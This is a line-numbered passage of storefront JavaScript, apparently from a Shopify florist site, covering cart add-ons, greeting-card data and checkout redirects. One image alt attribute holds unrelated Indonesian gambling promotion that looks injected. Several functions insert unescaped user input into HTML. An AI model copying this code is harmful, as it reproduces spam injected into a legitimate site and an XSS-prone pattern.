11171          {
11172              quantity: $("#Quantity-" + productAddOnId1).val(),
11173              id: productAddOnId1,
11174              "properties": { "Time": $("#properties-time").val() }
11175          },
11176          {
11177              quantity: $("#Quantity-" + productAddOnId2).val(),
11178              id: productAddOnId2,
11179              "properties": { "Time": $("#properties-time").val() }
11180          }
11181      ]
11182    }
11183    await fetch(window.Shopify.routes.root + 'cart/add.js', {
11184      method: 'POST',
11185      headers: {
11186        'Content-Type': 'application/json'
11187      },
11188      body: JSON.stringify(data)
11189    })
11190    .then(response => {
11191      console.error('Sukses Buket Uang:', response);
11192      $(".form-flower").submit()
11193    })
11194    .catch((error) => {
11195      console.error('Error Buket Uang:', error);
11196      $(".form-flower").submit()
11197    });
11198  }
11199  
11200  // Utility function untuk membuat data card yang konsisten dengan default "-"
11201  function createCardData(overrides = {}) {
11202    const defaultData = {
11203      "ID": $("#properties-properties-qrId").val() !== '' ? $("#properties-properties-qrId").val() : '-',
11204      "Kartu Nama Penerima": (() => {
11205        const name = $("[data-properties=penerima]").val().trim();
11206        if (!name || name === '-') {
11207          return '-';
11208        }
11209        const prefix = $(".label-prefix").text().trim();
11210        return (prefix + (name ? ' ' + name : '')).trim() || '-';
11211      })(),
11212      "Kartu Nama Pengirim": $("#properties-kartu-nama-pengirim").val() !== '' ? $("#properties-kartu-nama-pengirim").val() : '-',
11213      "Kartu Ucapan": $("[data-properties=ucapan]").val() !== '' ? $("[data-properties=ucapan]").val() : '-',
11214      "Nama Penerima": $("#properties-nama-penerima").val() !== '' ? $("#properties-nama-penerima").val() : '-',
11215      "Order Number": "-",
11216      "Status": "Product",
11217      "Foto": $("#properties-photo").val() !== '' ? $("#properties-photo").val() : '-',
11218      "Media": $("#properties-video").val() !== '' ? $("#properties-video").val() : '-',
11219      "Image": "7881418965207"
11220    }
11221    
11222    // Merge dengan overrides jika ada
11223    return JSON.stringify({...defaultData, ...overrides})
11224  }
11225
11226  // Utility function untuk membuat data save card (insertCard/updateCard)
11227  function createSaveCardData(overrides = {}) {
11228    const defaultData = {
11229      "id": qrID || '',
11230      "penerima": $("#properties-nama-penerima").val() !== '' ? $("#properties-nama-penerima").val() : '-',
11231      "kartu_penerima": (() => {
11232        const name = $("[data-properties=penerima]").val().trim();
11233        if (!name || name === '-') {
11234          return '-';
11235        }
11236        const prefix = $(".label-prefix").text().trim();
11237        return (prefix + (name ? ' ' + name : '')).trim() || '-';
11238      })(),
11239      "kartu_ucapan": $("[data-properties=ucapan]").val() !== '' ? $("[data-properties=ucapan]").val() : '-',
11240      "kartu_pengirim": $("[data-properties=pengirim]").val() !== '' ? $("[data-properties=pengirim]").val() : '-',
11241      "foto": $("#properties-photo").val() !== '' ? $("#properties-photo").val() : '-',
11242      "video": $("#properties-video").val() !== '' ? $("#properties-video").val() : '-',
11243      "productId": "7881418965207",
11244      "order_name": "-",
11245      "status": "Product"
11246    }
11247    
11248    // Merge dengan overrides jika ada  
11249    const mergedData = {...defaultData, ...overrides}
11250    return {
11251      data: JSON.stringify(mergedData),
11252      parsed: mergedData
11253    }
11254  }
11255
11256  async function saveCard(){
11257    let isCard = true
11258    const cardData = createSaveCardData()
11259
11260    const id = $(".greetingCard").data("id")
11261
11262    if(!id){
11263      if((cardData.parsed.kartu_ucapan !== '' && cardData.parsed.kartu_ucapan !== '-') || 
11264         (cardData.parsed.foto !== '' && cardData.parsed.foto !== '-') || 
11265         (cardData.parsed.video !== '' && cardData.parsed.video !== '-')){
11266        if($("#qrcode").length){
11267          var qrCode = new QRCode(document.getElementById("qrcode"), {
11268            text: `https://moment.outerbloom.com/${qrID}`,
11269            width: 200,
11270            height: 200,
11271            colorDark : "#212121",
11272            colorLight : "#ffffff",
11273            correctLevel: QRCode.CorrectLevel.L,
11274          });
11275        }
11276        $("#properties-qrId").val(qrID)
11277        const insert_card = await insertCard(cardData.data)
11278        console.log(insert_card, 'insert')
11279        
11280        // Trigger card preview update
11281        $(document).trigger('cardDataUpdated')
11282        
11283        return insert_card
11284      }
11285    } else {
11286      console.log('start update')
11287      const update_card = await updateCard(id, cardData.data)
11288      console.log(update_card, 'update_card')
11289      
11290      // Trigger card preview update
11291      $(document).trigger('cardDataUpdated')
11292      
11293      return update_card
11294    }
11295  }
11296
11297  async function additem(items){
11298    try {
11299      let formData = items
11300      if(items?.length) {
11301        formData = {
11302           'items': items
11303        };
11304      }
11305  
11306      const add = await fetch(window.Shopify.routes.root + 'cart/add.js', {
11307        method: 'POST',
11308        headers: {
11309          'Content-Type': 'application/json',
11310          'X-Requested-With':'xmlhttprequest' /* XMLHttpRequest is ok too, it's case insensitive */
11311        },
11312        body: JSON.stringify(formData)
11313      })
11314  
11315      const data = await add.json();
11316      return data
11317    } catch(err){
11318      console.log('Error additem', err)
11319    }
11320  }
11321
11322  async function addons(){
11323    let items = []
11324    
11325    // First, try to get addons from the summary section (.addon-item)
11326    if($(".addon-item").length > 0) {
11327      $(".addon-item").each(function(){
11328        const p = $(this)
11329        const props = p.next(".propsAddonSpotify")
11330        const id = $(this).data("id")
11331        const quantity = $(this).data("qty")
11332        const propId = $("#properties-time").val()
11333        let properties = {}
11334        if(id === 46067682607319) {
11335          const link = props.find(".spotifyLinkAddon").text()
11336          const photo = props.find(".spotifyFotoAddon").text()
11337          const song = props.find(".spotifySongAddon").text()
11338          const artist = props.find(".spotifyArtistAddon").text()
11339          properties = {
11340            id: propId,
11341            "Spotify Link": link !== '' ? link : '-',
11342            "Spotify Photo": photo !== '' ? photo : '-',
11343            "Spotify Song": song !== '' ? song : '-',
11344            "Spotify Artist": artist !== '' ? artist : '-',
11345            type: 'addon'
11346          }
11347        } else {
11348          properties = { 
11349            "id": propId, 
11350            "type": "addon"
11351          }
11352        }
11353        items.push({
11354          id, 
11355          quantity, 
11356          properties
11357        })
11358      })
11359    } else {
11360      // If no addon-item found, get directly from #itemAddons .selected
11361      const selectedAddons = $("#itemAddons").find(".selected")
11362      if(selectedAddons.length > 0) {
11363        selectedAddons.each(function(){
11364          const id = $(this).data("variant")
11365          const quantity = $(this).find(".btn-qty").val() || 1
11366          const propId = $("#properties-time").val()
11367          const properties = { 
11368            "id": propId, 
11369            "type": "addon"
11370          }
11371          items.push({
11372            id: Number(id), 
11373            quantity: Number(quantity), 
11374            properties
11375          })
11376        })
11377      }
11378    }
11379    
11380    return items
11381  }
11382
11383  async function propItems() {
11384    let props = {}
11385    $("[data-properties]").each(function(e){
11386      let elementType = this.tagName;
11387      const k = $(this).data("properties")
11388      if(k !== 'penerima' && k !== 'ucapan' && k !== 'pengirim' && k !== 'nama-penerima' && k !== 'alamat-penerima' && k !== 'telepon-penerima' && k !== 'company' && k !== 'province' && k !== 'foto-alamat' && k !== 'papan-logo') {
11389        const v = elementType === 'SELECT' ? $(this).find(":selected").val() : $(this).val();
11390        if(v !== '') {
11391          props[k] = v?.replace(/[\s\n]/g, '');
11392        }
11393      }
11394    })
11395    return props
11396  }
11397
11398  async function showPopupCart(items){
11399    if(productType !== '') {
11400      console.log("clarity event " + productType + ' completeOrder')
11401      window.clarity("event", `${productType} completeOrder`)
11402      // window.clarity("set", productType, `completeOrder - ${productDate}`)
11403    }
11404    $("#popupCart").show()
11405    
11406      $(".propDeliveryCity").text($("#cities").val())
11407      $(".propDeliveryDate").text($("#propDeliveryDate").val())
11408      $(".propDeliveryTime").text($("#propDeliveryTime").val())
11409      $(".propDeliveryName").text($("[data-properties=nama-penerima]").val())
11410      $(".propDeliveryAddress").text($("[data-properties=alamat-penerima]").val())
11411      $(".propDeliveryPhone").text($("[data-properties=telepon-penerima]").val())
11412      $(".propDeliveryProv").text($("#province").val())
11413      $(".propDeliveryZip").text($("#properties-kodepos").val()) 
11414      
11415    
11416
11417    const addons = []
11418    if(items && items.length > 0) {
11419      for(let i = 1; i < items.length; i++) {
11420        const spotifyLink = items[i].properties['Spotify Link']
11421        const spotifyPhoto = items[i].properties['Spotify Photo']
11422        const spotifySong = items[i].properties['Spotify Song']
11423        const spotifyArtist = items[i].properties['Spotify Artist']
11424        const price = items[i].price / 100
11425        const props = spotifyLink ? `<div class="propsAddonCart row m-0">
11426                  <div class="col-12 col-lg-2"></div>
11427                  <div class="col-12 col-lg-10">
11428                    <p>
11429                      <span>spotify link</span>
11430                      <span>${spotifyLink}</span>
11431                    </p>
11432                    <p>
11433                      <span>Upload Photo</span>
11434                      <span>${spotifyPhoto}</span>
11435                    </p>
11436                    <p>
11437                      <span>song / playlist name</span>
11438                      <span>${spotifySong}</span>
11439                    </p>
11440                    <p>
11441                      <span>artist name</span>
11442                      <span>${spotifyArtist}</span>
11443                    </p>
11444                  </div>
11445                </div>` : '';
11446        addons.push(`<div class="row m-0">
11447                  <div class="imgAddonCart col-2">
11448                    <img
11449                      width="43"
11450                      src="${items[i].image}"
11451                      alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
11452                    >
11453                  </div>
11454                  <div class="imgAddonTitlePrice col-10 align-self-center">
11455                    <div class="row justify-content-between m-0">
11456                      <div class="col-12 col-lg-8">
11457                        <h5>${items[i].title}</h5>
11458                      </div>
11459                      <div class="col-12 col-lg-4 text-lg-right">
11460                        <span>${rupiah.format(price)}</span>
11461                      </div>
11462                    </div>
11463                  </div>
11464                </div>${props}`)
11465      }
11466    }
11467    // console.log(addons)
11468    if(addons.length === 0) {
11469      $(".itemAddonCart").hide()
11470      return
11471    }
11472    $(".toggleAddonCart h4").text(`add-ons (${items.length - 1})`)
11473    $(".wrapperItemAddonCart").html(addons)
11474  }
11475
11476  const money = (money) => {
11477      return new Intl.NumberFormat('id-ID',
11478          { style: 'currency', currency: 'IDR', minimumFractionDigits: 0 }
11479      ).format(money);
11480  }
11481
11482  async function showNoteMoney() {
11483    let qty50k = $("[data-properties='Uang 50k']").val()
11484    let qty100k = $("[data-properties='Uang 100k']").val()
11485    const total50k = Number(qty50k) * 50000
11486    const total100k = Number(qty100k) * 100000
11487    const total_all = total50k + total100k
11488    $(".prop50k").html(`<span>${qty50k} Lembar: <strong class="pl-1">${money(total50k)}</strong></span>`)
11489    $(".prop100k").html(`<span>${qty100k} Lembar: <strong class="pl-1">${money(total100k)}</strong></span>`)
11490    $(".itemMoney").html(`<p>For the money arrangement, please transfer <strong>IDR ${money(total_all)}</strong> to <strong>Bank Mandiri 1020001234522 (PT Modern Mekar Abadi)</strong> and contact our <a href="http://wa.me/6281514234600" target="_blank" style="text-decoration: underline; color: #8d3f2d">Customer Service</a> to confirm with proof of payment.</p>`)
11491  }
11492
11493  async function removeImage() {
11494    // Reset to initial state of case-img-preview
11495    $(".remove-image").hide()
11496    $("#properties-photo").val("-")
11497    $(".preview-image").hide().attr("src", "")
11498    $(".placeholder-image").show()
11499    $(".icon-upload").show()
11500    $(".ajax-loader").hide()
11501    
11502    // Reset the button states
11503    $(".case-video-preview").hide()
11504    $(".case-img-preview .btn-upload button").show()
11505  }
11506
11507  async function removeVideo() {
11508    $("#properties-video").val("-")
11509    $(this).find("img").hide()
11510    $(this).hide()
11511    $(this).prev("p").text("Add video to make it more special (optional)")
11512    $("#label-input-video").show()
11513    $("#label-input-video span").text("Upload Video")
11514    $(".case-video-preview p span").remove()
11515  }
11516
11517  async function loadItemOccasion(t, occasion) {
11518    const name = occasion?.replace('greeting-card-', '')
11519    $("#kartu-ucapan").val("")
11520    $("[data-occassion]").removeClass("selected")
11521    $("[data-properties=ucapan]").val("")
11522    $("#save-card").attr("disabled", true)
11523    t.addClass("selected")
11524    $("#show_note").attr("data-card-occassion", name)
11525    $.get(`https://outerbloom.com/collections/${occasion}/products.json`, function(data, status){
11526        const products = data.products
11527        const html = []
11528        for(let i = 0; i < products.length; i++) {
11529            const id = products[i].id
11530            const variantId = products[i].variants[0].id
11531            const img = products[i].images[0].src
11532            const title = products[i].title
11533            const price = products[i].variants[0].price
11534            const qty = products[i].variants[0].inventory_quantity
11535            const body = `<div class="item-card${price < 1 ? ' free' : ' nofree'}${i === 0 ? ' selected' : ''}" data-id=${id}>
11536                <label for="card-${variantId}"></label>
11537                    <div class="card-image">
11538                        <img src="${img}" alt="${title}" width="" height="" />
11539                    </div>
11540                    <div class="card-meta text-center">
11541                        <h5>${title}</h5>
11542                        <p>${price < 1 ? 'FREE' : rupiah.format(price)}</p>
11543                        <input id="card-${variantId}" type="radio" name="id" value="${variantId}" data-price="${price}">
11544                    </div>
11545                </div>`
11546            html.push(body)
11547        }
11548        const withoutCard = `<div class="item-card item-without-card">
11549                <label for="card-0"></label>
11550                    <div class="card-image">
11551                        <img src="https://cdn.shopify.com/s/files/1/1589/6833/t/129/assets/without-card.png?v=1747632283" alt="Without card" width="" height="" />
11552                    </div>
11553                    <div class="card-meta text-center">
11554                        <h5>
11554Send without a greeting card</h5>
11555                        <input id="card-0" type="radio" name="id" value="" data-price="">
11556                    </div>
11557                </div>`
11558        $("#itemCards .items-card").html(html.length === 0 ? '<p>No Item available</p>' : html.join(""))
11559    });
11560  }
11561
11562  async function setItems() {
11563    let items = []
11564    const mainProps = {
11565      
11566        "Delivery Date": $("#propDeliveryDate").val(),
11567        "Delivery Time": $("#propDeliveryTime").val() !== '' ? $("#propDeliveryTime").val() : '-' ,
11568        "Kota Pengiriman": $("#cities").val(),
11569        "Nama Penerima": $("[data-properties=nama-penerima]").val() !== '' ? $("[data-properties=nama-penerima]").val() : '-' ,
11570        "Alamat Penerima": $("[data-properties=alamat-penerima]").val() !== '' ? $("[data-properties=alamat-penerima]").val() : '-' ,
11571        "Kodepos": $("#properties-kodepos").val() !== '' ? $("#properties-kodepos").val() : '-' ,
11572        "Telepon Penerima": $("[data-properties=telepon-penerima").val() !== '' ? $("[data-properties=telepon-penerima").val() : '-' ,
11573      
11574      
11575      
11576        "Kartu Nama Penerima": (() => {
11577          const name = $("[data-properties=penerima]").val().trim();
11578          if (!name || name === '-') {
11579            return '-';
11580          }
11581          const prefix = $(".label-prefix").text().trim();
11582          return (prefix + (name ? ' ' + name : '')).trim() || '-';
11583        })() ,
11584        "Kartu Ucapan": $("[data-properties=ucapan]").val() !== '' ? $("[data-properties=ucapan]").val() : '-' ,
11585        "Kartu Nama Pengirim": $("[data-properties=pengirim]").val() !== '' ? $("[data-properties=pengirim]").val() : '-' ,
11586        "Foto": $("#properties-photo").val() !== '' ? $("#properties-photo").val() : '-' ,
11587        "Video": $("#properties-video").val() !== '' ? $("#properties-video").val() : '-' ,
11588        "QR Code": $("#properties-qrId").val() !== '' ? $("#properties-qrId").val() : '-' ,
11589      
11590      
11591      
11592      "Province": $("#province").val() !== '' ? $("#province").val() : '-' ,
11593      "Country": $("#properties-kota-pengiriman-country").val() !== '' ? $("#properties-kota-pengiriman-country").val() : '-' ,
11594      "Shipping": $("#properties-shipping").val() !== '' ? $("#properties-shipping").val() : '-' ,
11595      "Company": $("[data-properties=company]").val() !== '' ? $("[data-properties=company]").val() : '-' ,
11596      
11597      "Delivery Method": $("#selectedShippingMethod") && $("#selectedShippingMethod").val() !== '' ? $("#selectedShippingMethod").val() : 'Delivery' ,
11598      "id": $("#properties-time").val() !== '' ? $("#properties-time").val() : '-',
11599      "type": 'product'
11600    }
11601    console.log(mainProps, 'mainProps')
11602    const props = await propItems()
11603    properties = {...mainProps, ...props };
11604    const id = $("#productSelect").find('option:selected').val()
11605    console.log(id, 'main ID')
11606    const mainItem = {
11607      id: Number(id),
11608      quantity: 1,
11609      properties
11610    }
11611    items.push(mainItem)
11612    const cardId = $("#itemCards").find(".selected input").val()
11613    const cardItem = {
11614      id: Number(cardId),
11615      quantity: 1,
11616      properties: { "id": $("#properties-time").val() !== '' ? $("#properties-time").val() : '-', type: 'card' }
11617    }
11618    console.log(cardId, 'cardId')
11619    if(cardId) {
11620      items.push(cardItem)
11621    }
11622    const addon = await addons()
11623    if(addon) {
11624      for(let i = 0; i < addon.length; i++){
11625        items.push({
11626          id: addon[i].id,
11627          quantity: addon[i].quantity,
11628          properties: addon[i].properties
11629        })
11630      }
11631    }
11632
11633    return items
11634  }
11635
11636  async function addToCart() {
11637    const items = await setItems()
11638    const addItems = await additem(items)
11639    
11640    // Check if cities is not "Kota Lainnya" and Shipping property is empty or "-"
11641    const citiesValue = $("#cities").val();
11642    const shippingValue = $("#properties-shipping").val();
11643    if (citiesValue && citiesValue !== "Kota Lainnya" && (!shippingValue || shippingValue === "" || shippingValue === "-")) {
11644      alert("Shipping city has not been selected, please try again");
11645      // Close popup and reset fields
11646      disablePopup();
11647      $("#cities").val("").trigger('change');
11648      $("#propDeliveryDate").val("");
11649      $("#propDeliveryTime").val("");
11650      $("#deliveryDate button").removeClass("selected");
11651      $("#deliveryTime button").removeClass("selected");
11652      return;
11653    }
11654    
11655    if(addItems) {
11656      $(this).find("span").removeClass("loading")
11657      disablePopup()
11658      showPopupCart(addItems.items)
11659      
11660      localStorage.setItem("items", JSON.stringify(addItems.items))
11661      const rowIndex = $(".greetingCard").data("id")
11662      if(rowIndex && rowIndex !== 0) {
11663        const data = JSON.stringify({
11664          "Status": "Cart"
11665        });
11666        const update = await updateCard(rowIndex, data)
11667        console.log(update, 'update card to cart')
11668      }
11669
11670      analytics.track('add_cart', {
11671        productId: '7881418965207', 
11672        items: addItems.items
11673      });
11674    }
11675  }
11676        
11677  $(document).ready(function(){
11678
11679    // Observer to auto-trigger addon loading when addon section becomes visible
11680    const addonObserver = new MutationObserver(function(mutations) {
11681      mutations.forEach(function(mutation) {
11682        const target = $(mutation.target)
11683        if(target.hasClass('purchaseAddon') && mutation.type === 'attributes' && mutation.attributeName === 'class') {
11684          if(!target.hasClass('hide')) {
11685            // Addon section just became visible, ensure items are loaded
11686            setTimeout(function() {
11687              if($("#itemAddons .row").children().length === 0 || $("#itemAddons .row").text().includes("No Item available")) {
11688                console.log("Auto-triggering addon load...")
11689                $("[data-addon]").eq(0).trigger("click")
11690              }
11691            }, 150)
11692          }
11693        }
11694      })
11695    })
11696    
11697    // Start observing addon section
11698    const addonSection = document.querySelector('.purchaseAddon')
11699    if(addonSection) {
11700      addonObserver.observe(addonSection, { 
11701        attributes: true, 
11702        attributeFilter: ['class'] 
11703      })
11704    }
11705
11706    $(".purchasePopup").delegate("#addtocart-card", "click", async function(){
11707    
11708      $(this).find("span").addClass("loading")
11709      let isValid = true
11710      $(".formAddressPurchase [required]").each(function(){
11711        const t = $(this)
11712        const input = t.val()
11713        const p = t.parent()
11714        if(input === '') {
11715          p.addClass("error")
11716          isValid = false
11717        }
11718      })
11719
11720      if(!isValid) {
11721        $(this).find("span").removeClass("loading")
11722        return
11723      }
11724      
11725      await addToCart()
11726    })
11727  
11728  $("#addtocart-cart .btn").click(async function(){
11729    // First validate variant metafields
11730    if (typeof validateVariantMetafields === 'function') {
11731      const isValid = validateVariantMetafields(true);
11732      if (!isValid) {
11733        // The validateVariantMetafields function already handles scrolling and focusing
11734        alert('Please select all required variant options before proceeding.');
11735        return; // Stop execution if validation fails
11736      }
11737    }
11738    
11739    const id = $("#productSelect").find('option:selected').val()
11740    const mainProps = {
11741      id: $("#properties-time").val() !== '' ? $("#properties-time").val() : '-', 
11742      type: 'product'
11743    }
11744    const props = await propItems()
11745    const properties = { ...mainProps, ...props };
11746    const items = {
11747      id: Number(id),
11748      quantity: 1,
11749      properties
11750    }
11751    const addItems = await additem(items)
11752    if(addItems) {
11753      showPopupCart(addItems.items)
11754      localStorage.setItem("items", JSON.stringify(addItems))
11755    }
11756  })
11757
11758  $(".formAddressPurchase [required]").change(function(){
11759    const t = $(this)
11760    const p = t.parent()
11761    const v = t.val()
11762    if(v !== '') {
11763      p.removeClass("error")
11764    }
11765  })
11766
11767  $(".purchase-button").delegate("#save-card", "click", async function(){
11768    const parent = $(this).parents(".sectionPurchase")
11769    const next = parent.next(".sectionPurchase")
11770    $(this).find("span").addClass("loading")
11771    const card = await saveCard()
11772    console.log(card, 'ssaveCCC')
11773    if(card?.status === 200 || card?.status === 201) {
11774      if(next.length === 0) {
11775        $(this).find("span").removeClass("loading")
11776        disablePopup()
11777        await addToCart()
11778      }
11779      $(".scanCard").removeClass("hide")
11780      $(this).find("span").removeClass("loading")
11781      parent.addClass("hide")
11782      next.removeClass("hide")
11783      if(next.hasClass("purchaseAddon")) {
11784        $("[data-addon]").eq(0).click()
11785        console.log("clarity event addons")
11786        window.clarity("event", `${productType} add-ons`)
11787        // Ensure addon items are loaded when entering addon popup
11788        setTimeout(function() {
11789          if($("#itemAddons .row").children().length === 0 || $("#itemAddons .row").text().includes("No Item available")) {
11790            $("[data-addon]").eq(0).trigger("click")
11791          }
11792        }, 100)
11793      }
11794      if(next.hasClass("purchaseAddress")) {
11795        initSelect2('#zip');
11796      }
11797    }
11798  })
11799
11800  $("#skip-card").click(async function(){
11801    $(".greetingCard [data-properties]").val("")
11802    $("#properties-photo").val("")
11803    $("#properties-video").val("")
11804    const parent = $(this).parents(".sectionPurchase")
11805    const next = parent.next(".sectionPurchase")
11806    parent.addClass("hide")
11807    next.removeClass("hide")
11808    // $("#itemCards").html("")
11809    await removeImage()
11810    await removeVideo()
11811    
11812    // Trigger card preview update when card data is cleared
11813    $(document).trigger('cardDataUpdated')
11814    
11815    if(next.length === 0) {
11816      $(this).find("span").removeClass("loading")
11817      disablePopup()
11818      await addToCart()
11819      return
11820    }
11821    if(next.hasClass("purchaseAddon")) {
11822      $("[data-addon]").eq(0).click()
11823      console.log("clarity event addons")
11824      window.clarity("event", `${productType} add-ons`)
11825      // Ensure addon items are loaded when entering addon popup
11826      setTimeout(function() {
11827        if($("#itemAddons .row").children().length === 0 || $("#itemAddons .row").text().includes("No Item available")) {
11828          $("[data-addon]").eq(0).trigger("click")
11829        }
11830      }, 100)
11831    }
11832    if(next.hasClass("purchaseAddress")) {
11833      initSelect2('#zip');
11834    }
11835  })
11836
11837  $("#msgCard").click(async function(){
11838      $(this).parent().addClass("loading")
11839      let occasion = $(".selected[data-occassion]").data("occassion")
11840      occasion = occasion?.replace("greeting-card-", "")
11841      const { data } = await getFetch(`${host}/api/card/template/occasion?name=${occasion}`);
11842      const d = data?.data
11843      for(let i = 0; i < d.length; i++) {
11844        const num = Math.floor(Math.random() * (d.length - 1 + 1) + 1);
11845        const greeting = d[num]?.Greeting
11846        $(".greetingCard textarea").val(greeting)
11847        $(this).parent().removeClass("loading")
11848        
11849        // Trigger card preview update when message template is generated
11850        $(document).trigger('cardDataUpdated')
11851      }
11852      $("#save-card").attr("disabled", false)
11853    })
11854
11855  $(".sectionPurchaseBoard .next-purchase-button").click(function(){
11856    const parent = $(this).parents(".sectionPurchase")
11857    const next = parent.next(".sectionPurchase")
11858    parent.addClass("hide")
11859    next.removeClass("hide")
11860  })
11861
11862  $("#editCard").click(function(){
11863    $(".custom-card").show()
11864    $(".preview-card").hide()
11865  })
11866
11867  $("#first_name, #last_name").change(function(){
11868    const v = $(this).val()
11869    const first_name = $("#first_name").val()
11870    const last_name = $("#last_name").val() !== '' ? ' ' + $("#last_name").val() : ''
11871    $("[data-properties=nama-penerima]").val(first_name+last_name)
11872    
11873    // Trigger card preview update when first/last name changes
11874    $(document).trigger('cardDataUpdated')
11875  })
11876
11877  $("[data-occassion]").click(function(){
11878      const t = $(this)
11879      const p = t.parents(".sectionPurchase")
11880      // $(".greetingCard").addClass("disabled")
11881      const occasion = t.data("occassion")
11882      loadItemOccasion(t, occasion)
11883  })
11884
11885  $("#itemCards").delegate(".item-card:not(.item-without-card) label", "click", function(){
11886      const id = $(this).parent(".item-card").data("id")
11887      const t = $(this).parent(".item-card")
11888      const target = t.find("input")
11889      const v = $('.item-card input[type="radio"]:checked').val();
11890      $("#itemCards .item-card").removeClass("selected")
11891      t.addClass("selected")
11892      $("#itemCards .item-card").find("input").attr("name", "")
11893      if(target.length > 0) {
11894          target.attr("name", "id[]")
11895          $("#properties-card").val(id)
11896          $(".greetingCard").removeClass("disabled")
11897          $("#skip-card").attr("disabled", false)
11898      } else {
11899          $("#properties-card").val("")
11900      }
11901  })
11902
11903  $("#itemCards").delegate(".item-without-card label", "click", function(){
11904    const parent = $(this).parents(".sectionPurchase")
11905    const next = parent.next(".sectionPurchase")
11906    $(".greetingCard").addClass("disabled")
11907    parent.addClass("hide")
11908    next.removeClass("hide")
11909    $("[data-addon]").eq(0).click()
11910    initSelect2('#zip');
11911  })
11912
11913  $("[data-properties=ucapan]").keyup(function(){
11914    const v = $(this).val()
11915    const p = $(this).parents(".sectionPurchase")
11916    $(".purchaseAddress").find(".greetingCard textarea").val(v)
11917    if(v.length > 3) {
11918      p.find(".next-purchase-button").attr("disabled", false)
11919    } else {
11920      p.find(".next-purchase-button").attr("disabled", true)
11921    }
11922    
11923    // Trigger card preview update when message changes
11924    $(document).trigger('cardDataUpdated')
11925  })
11926
11927  $("[data-properties=penerima]").keyup(function(){
11928    const v = $(this).val()
11929    $(".purchaseAddress").find("[data-properties=penerima]").val(v)
11930    
11931    // Trigger card preview update when recipient name changes
11932    $(document).trigger('cardDataUpdated')
11933  })
11934
11935  $("[data-properties=pengirim]").keyup(function(){
11936    const v = $(this).val()
11937    $(".purchaseAddress").find("[data-properties=pengirim]").val(v)
11938    
11939    // Trigger card preview update when sender name changes
11940    $(document).trigger('cardDataUpdated')
11941  })
11942
11943  $(document).click(function(e){
11944
11945     if($(e.target).closest('.wrapperPopupCart').length != 0) return false;
11946     // $('#popupCart').fadeOut('slow');
11947    // location.reload()
11948  });
11949
11950  $(".toggleAddonCart").click(function(){
11951    const p = $(this).parent(".itemAddonCart")
11952    p.toggleClass("open")
11953  })
11954
11955  $(".btnViewCart").click(function(){
11956    window.location.href = "https://outerbloom.com/cart";
11957  })
11958
11959  $(".btnViewCheckout").click(async function(){
11960    $(this).find("span").addClass("loading")
11961    let zip = $("#properties-kodepos").val()
11962    const first_name = $("#first_name").val()
11963    const last_name = $("#last_name").val()
11964    const company = $("#company").val() !== '' ? $("#company").val() : ''
11965    const address1 = $("#delivery_address").val()
11966    const address2 = zip && zip !== '' ? zip?.split(' - ')[1] : ''
11967    zip = zip && zip !== '' ? zip?.split(' - ')[0] : ''
11968    const phone = $("#recipient_number").val()
11969    const city = $("#cities").val()
11970    const province = $("#province").val()
11971    const country = 'Indonesia'
11972    const ver = Date.parse(new Date())
11973    
11974    const params = `${first_name ? `&checkout[shipping_address][first_name]=${first_name}` : ''}&${last_name ? `&checkout[shipping_address][last_name]=${last_name}` : ''}&${company ? `&checkout[shipping_address][company]=${company}` : ''}&${address1 ? `&checkout[shipping_address][address1]=${address1}` : ''}&${address2 ? `&checkout[shipping_address][address2]=${address2}` : ''}&${city && city !== 'Kota Lainnya' ? `&checkout[shipping_address][city]=${city}` : ''}&${country ? `&checkout[shipping_address][country]=${country}` : ''}&${province ? `&checkout[shipping_address][province]=${province}` : ''}&${zip ? `&checkout[shipping_address][zip]=${zip}` : ''}&${phone ? `&checkout[shipping_address][phone]=${phone}` : ''}&v=${ver}`
11975  
11976    const clear = await fetch(`/cart/clear.js`, {method: 'POST'})
11977    if(clear.status === 200) {
11978      const savedItem = window.localStorage.getItem("items");
11979      const items = JSON.parse(savedItem)
11980      const addItems = await additem(items)
11981      console.log(addItems, 'new addItems')
11982      if(addItems) {
11983        window.location.href = `https://outerbloom.com/checkout?${params}`;
11984      }
11985    }
11986  })
11987
11988  $(".btnContinueShopping").click(function(){
11989    window.location.href = "https://outerbloom.com/";
11990  })
11991
11992    if (isIOS) {
11993      $(".empty-state-card").click(function(){
11994        $("#input-foto").trigger("click")
11995      })
11996      $(".btn-upload-image").click(function(){
11997        $("#input-foto").trigger("click")
11998      })
11999      $("[for=input-video]").click(function(){
12000        $("#input-video").trigger("click")
12001      })
12002      $(".btn-upload-papan").click(function(){
12003        $("#logoPapan").trigger("click")
12004      })
12005    }
12006  
12007    $("[data-properties]").each(function(){
12008      const select = $(this).parents(".form-group").find("select")
12009      $(this).change(function(){
12010        const name = $(this).data("properties")
12011        const v = $(this).val()
12012        if (name == 'telepon-penerima') {
12013          let phone = v.replace(/[^0-9]/g, '')
12014          $(this).val(phone);
12015          $("#properties-telepon-penerima").val(phone)
12016          $('.iti__search-input').val('-') 
12017        } else {
12018          $("#properties-" + name).val(v)
12019        }
12020      })
12021      select.on("change", function(){
12022        const name = $(this).data("properties")
12023        const v = $(this).val()
12024        $("#properties-" + name).val(v)
12025      })
12026    })
12027
12028    $("#show_note").click(function(){
12029      const rowIndex = $(".greetingCard").data("id")
12030      const data = JSON.stringify({
12031        "Media": "-"
12032      })
12033      updateCard(rowIndex, data)
12034    })
12035
12036    $(".greetingCard").delegate(".remove-image", "click", function(e){
12037      e.preventDefault()
12038      removeImage()
12039    })
12040
12041    $(".remove-media").click(function(e){
12042      e.preventDefault()
12043      $(this).find("img").show()
12044      removeVideo()
12045    })
12046
12047    
12048
12049    $("[data-delivery_method]").click(function(e){
12050      e.preventDefault()
12051      const t = $(this)
12052      const data = t.data("delivery_method")
12053      $("[data-delivery_method]").removeClass("selected")
12054      t.addClass("selected")
12055      $("#cities").val("")
12056      $("#properties-delivery-date").val("-")
12057      $("#deliveryDate button").removeClass("selected")
12058      $("#full-date").val("Full Calendar →")
12059      $("#propDeliveryDate").val("")
12060      const step3 = $("#step-3")
12061      if(data.match('PickUp')) {
12062        $(".selfpickup-point").show()
12063        step3.find("[data-finished=false]").hide()
12064        $("#panel-4").hide()
12065        step3.find("[data-finished=true]").show()
12066        $("#cities").attr("required", false)
12067        $("#form-group-city").hide()
12068        
12069          $("#row-delivery-time").hide()
12070        
12071        
12072          $("#propDeliveryTime, #properties-delivery-time").val("-")
12073          $("#propDeliveryTime").attr("required", false)
12074        
12075        $("#properties-nama-penerima, #properties-alamat-penerima, #properties-kodepos, #properties-kodepos, #properties-telepon-penerima").val("-")
